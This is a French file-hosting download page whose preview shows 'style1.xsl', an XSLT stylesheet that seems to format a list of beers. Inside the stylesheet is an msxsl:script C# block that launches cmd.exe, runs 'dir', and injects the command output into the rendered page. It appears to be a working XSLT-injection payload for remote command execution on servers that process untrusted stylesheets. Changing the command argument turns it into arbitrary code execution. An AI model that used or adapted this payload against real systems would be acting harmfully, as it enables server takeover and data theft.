Hébergeur de fichiers indépendant

style1.xsl

À propos du fichier

Type de fichier
Fichier XSL de 1 Ko (application/xml)
Confidentialité
Fichier public, envoyé le 27 septembre 2018 à 14:03, depuis l'adresse IP 212.157.x.x (France)
Sécurité
Ne contient aucun Virus ou Malware connus - Dernière vérification: 9 heures
Statistiques
La présente page de téléchargement a été vue 441 fois depuis l'envoi du fichier
Page de téléchargement

Aperçu du fichier


<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" xmlns:user="urn:my-scripts" xmlns:msxsl="urn:schemas-microsoft-com:xslt">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:for-each select="beers/beer">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
  <div style="background-color:teal;color:red;padding:4px">
    <span style="font-weight:bold"><xsl:value-of select="name"/> - </span>
    <xsl:value-of select="price"/>
    </div>
  <div style="margin-left:20px;margin-bottom:1em;font-size:10pt">
    <p>
	--- BEGIN COMMAND OUTPUT ---
    <xsl:value-of select="user:execute()"/>
	
    <span style="font-style:italic"> (<xsl:value-of select="description"/> %)</span>
	--- END COMMAND OUTPUT ---
    </p>
  </div>
</xsl:for-each>
</body>
</html> 



Partager le fichier style1.xsl sur le Web et les réseaux sociaux:


Télécharger le fichier style1.xsl


Télécharger style1.xsl